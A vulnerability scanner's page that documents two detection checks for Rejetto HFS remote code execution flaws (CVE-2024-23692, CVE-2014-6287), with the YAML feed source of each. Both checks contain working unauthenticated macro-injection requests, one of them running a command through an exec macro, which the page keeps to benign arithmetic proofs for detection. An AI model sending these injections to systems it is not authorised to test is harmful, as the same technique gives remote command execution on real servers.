HFS — 2 vulnerability checks

noctis ships 2 vulnerability checks for HFS, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Rejetto HFS 2.3m Template Injection RCE

CVECVE-2024-23692
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 100
Feedtests/vulnerabilities/hfs/CVE-2024-23692.yaml

Sends a search request that breaks out of the HFS template escaping and injects an exec macro running cmd /c set /a with two random numbers, and reports when the page returns their product between our markers: the command ran on the server, the unauthenticated template injection in Rejetto HFS 2.x that leads to remote command execution. When no command output comes back, a second request injects an add macro and reports when the page returns the sum of two random numbers, which proves the template injection itself. The product and the sum never appear in the requests, so a server that echoes the request does not match.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET /?n=%0A&cmd=cmd+/c+set+/a+{{g.a}}*{{g.b}}&search=%25xxx%25url%25:%password%}{.exec|{.…
  3. Parses / computes the next value with a Rhai script
  4. Checks exec_hit for ^true$ → finding QoD 100: exec macro ran cmd /c set /a …*… and the page returned NOCTIS…XN — a product absent from the request
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET /?search=%25xxx%25url%25:%password%}NOCTIS{.add|{{g.c}}|{{g.d}}.}XN HTTP/1.1
  6. Parses / computes the next value with a Rhai script
  7. Checks macro_hit for ^true$ → finding QoD 97: add macro injected through the search value was expanded: the page returned NOCTIS…XN (…+…), a value absent from the request
Feed source — tests/vulnerabilities/hfs/CVE-2024-23692.yaml
uid: 4b9d8c99-20a3-46dc-9100-d829d51b267c
name: "Rejetto HFS 2.3m Template Injection RCE"
description: "Sends a search request that breaks out of the HFS template escaping and injects an exec macro running cmd /c set /a with two random numbers, and reports when the page returns their product between our markers: the command ran on the server, the unauthenticated template injection in Rejetto HFS 2.x that leads to remote command execution. When no command output comes back, a second request injects an add macro and reports when the page returns the sum of two random numbers, which proves the template injection itself. The product and the sum never appear in the requests, so a server that echoes the request does not match."
cves: [CVE-2024-23692]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags:
  - rce
  - template-injection
  - unauthenticated
  - kev
  - intrusive
services:
  - http
  - https
author: noctis
version: "1.1.0"

# HFS 2.x: the search value is copied into the page before the template is
# processed. %xxx% breaks the escaping so %url% stays a symbol, and %url%
# re-inserts the rest of the raw URL; ":%password%}" becomes ":}" (empty
# password for an anonymous user), which closes the quoting, so what follows is
# run as HFS macros. %password% and the macros must go out raw: percent-encoded
# they are inserted as literal text by %url% (the 1.0.0 probe sent
# ":password%7D…%7B.exec" and could not trigger on a real HFS).
#
# Proofs (#2355): the 1.0.0 feed matched "echo NOCTIS_HFS_RCE", a string sent in
# the request, so any page quoting the request matched. Now the target must
# compute the value:
#   1. exec runs "cmd /c set /a A*B" (benign, read-only; with out= HFS captures
#      it hidden, no console window) and {.^abc.} prints its output between
#      NOCTIS and XN → QoD 100. HFS may render the template several times, so
#      the command can run more than once (harmless).
#   2. otherwise {.add|A|B.} is expanded by the template engine → QoD 97.
# A*B stays below 2^31 (set /a is 32-bit signed).
steps:
  - id: gen
    action: script
    code: |
      let a = rand_int(10000, 46000);
      let b = rand_int(10000, 46000);
      let c = rand_int(100000, 499999);
      let d = rand_int(100000, 499999);
      #{ a: a, b: b, prod: "" + (a * b), c: c, d: d, sum: "" + (c + d),
         want_exec: "NOCTIS[ \\t\\r\\n]*" + (a * b) + "[ \\t\\r\\n]*XN",
         want_macro: "NOCTIS" + (c + d) + "XN" }
    store_as: g

  - id: set_exec_hit
    action: set_var
    var_name: exec_hit
    var_value: false

  # tcp_connect so the raw %password% and the {. | .} macros go out verbatim.
  - id: inject_exec
    action: tcp_connect
    port: "{{port}}"
    send: "GET /?n=%0A&cmd=cmd+/c+set+/a+{{g.a}}*{{g.b}}&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=10|out=abc.}{.?n.}NOCTIS{.^abc.}XN{.?n.} HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: resp_exec

  - id: verdict_exec
    action: script
    code: |
      let r = if type_of(resp_exec.banner) == "string" { resp_exec.banner } else { "" };
      r != "" && ereg(g.want_exec, r)
    store_as: exec_hit

  - id: check_exec
    action: match
    source: exec_hit
    pattern: "^true$"
    condition: "exec_hit == true"
    on_match:
      finding:
        confidence_delta: 0.75
        qod: 100
        evidence: "exec macro ran cmd /c set /a {{g.a}}*{{g.b}} and the page returned NOCTIS{{g.prod}}XN — a product absent from the request"

  - id: inject_macro
    action: tcp_connect
    condition: "exec_hit != true"
    port: "{{port}}"
    send: "GET /?search=%25xxx%25url%25:%password%}NOCTIS{.add|{{g.c}}|{{g.d}}.}XN HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: resp_macro

  - id: verdict_macro
    action: script
    condition: "exec_hit != true"
    code: |
      let r = if type_of(resp_macro.banner) == "string" { resp_macro.banner } else { "" };
      r != "" && stridx(r, g.want_macro) >= 0
    store_as: macro_hit

  - id: check_macro
    action: match
    source: macro_hit
    pattern: "^true$"
    condition: "exec_hit != true && macro_hit == true"
    on_match:
      finding:
        confidence_delta: 0.70
        qod: 97
        evidence: "add macro injected through the search value was expanded: the page returned NOCTIS{{g.sum}}XN ({{g.c}}+{{g.d}}), a value absent from the request"

Rejetto HFS < 2.3c Remote Command Execution (null-byte search macro injection)

CVECVE-2014-6287
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/hfs/CVE-2014-6287.yaml

Sends a search request whose value starts with a null byte followed by a cookie macro that sets a random cookie to the sum of two random numbers computed by a nested add macro, and reports when the server answers with a Set-Cookie header carrying that sum: the search value was run as HFS script, the macro injection in Rejetto HFS < 2.3c that leads to remote command execution. The sum never appears in the request, so a server that echoes the request does not match.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET /?search=%00{.cookie|{{g.name}}|value%3dNOCTIS{.add|{{g.a}}|{{g.b}}.}.} HTTP/1.0
  3. Parses / computes the next value with a Rhai script
  4. Checks hit for ^true$ → finding QoD 97: GET /?search=%00{.cookie|…|value=NOCTIS{.add|…|….}.} answered Set-Cookie: …=NOCTIS… — the target computed …+…, a value absent from the requ…
Feed source — tests/vulnerabilities/hfs/CVE-2014-6287.yaml
uid: 1508364e-cdb5-4577-befa-3e7a01b7a53d
name: "Rejetto HFS < 2.3c Remote Command Execution (null-byte search macro injection)"
description: "Sends a search request whose value starts with a null byte followed by a cookie macro that sets a random cookie to the sum of two random numbers computed by a nested add macro, and reports when the server answers with a Set-Cookie header carrying that sum: the search value was run as HFS script, the macro injection in Rejetto HFS < 2.3c that leads to remote command execution. The sum never appears in the request, so a server that echoes the request does not match."
cves: [CVE-2014-6287]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags:
  - rce
  - template-injection
  - unauthenticated
  - kev
services:
  - http
  - https
author: noctis
version: "1.1.0"

# HFS < 2.3c: findMacroMarker (parserLib.pas) stops at a %00 in the search
# value, so the rest of it is parsed as HFS macros (the same flaw runs
# {.exec|cmd.}). The proof is benign: {.cookie|NAME|value=V.} only adds a
# Set-Cookie header, and V holds {.add|A|B.}, which HFS evaluates first (inner
# macros expand before outer ones), so the header carries NOCTIS<A+B>. The sum
# is computed by the target and absent from the request: an echo page, WAF
# block page or honeypot that quotes the request cannot produce it (#2354).
# The value= parameter is required: without it the cookie macro only reads the
# browser's cookie (scriptLib.pas cookie()), and no header is sent.
steps:
  - id: gen
    action: script
    code: |
      let a = rand_int(1000, 9999);
      let b = rand_int(1000, 9999);
      let name = "nx" + tolower(rand_str(10));
      #{ name: name, a: a, b: b, sum: "" + (a + b),
         want: "(?im)^Set-Cookie:[ \\t]*" + name + "=NOCTIS" + (a + b) + "[;\\r\\s]" }
    store_as: g

  # tcp_connect so the %00 and the {. | .} payload go out verbatim (reqwest
  # would normalise or reject them).
  - id: inject
    action: tcp_connect
    port: "{{port}}"
    send: "GET /?search=%00{.cookie|{{g.name}}|value%3dNOCTIS{.add|{{g.a}}|{{g.b}}.}.} HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: resp

  # Only the response head is searched: the computed value must come back as a
  # Set-Cookie header, not anywhere in the body.
  - id: verdict
    action: script
    code: |
      let r = if type_of(resp.banner) == "string" { resp.banner } else { "" };
      let i = stridx(r, "\r\n\r\n");
      let head = if i >= 0 { substr(r, 0, i - 1) } else { r };
      head != "" && ereg(g.want, head + "\n")
    store_as: hit

  - id: check_macro
    action: match
    source: hit
    pattern: "^true$"
    condition: "hit == true"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "GET /?search=%00{.cookie|{{g.name}}|value=NOCTIS{.add|{{g.a}}|{{g.b}}.}.} answered Set-Cookie: {{g.name}}=NOCTIS{{g.sum}} — the target computed {{g.a}}+{{g.b}}, a value absent from the request"

View these feeds on GitHub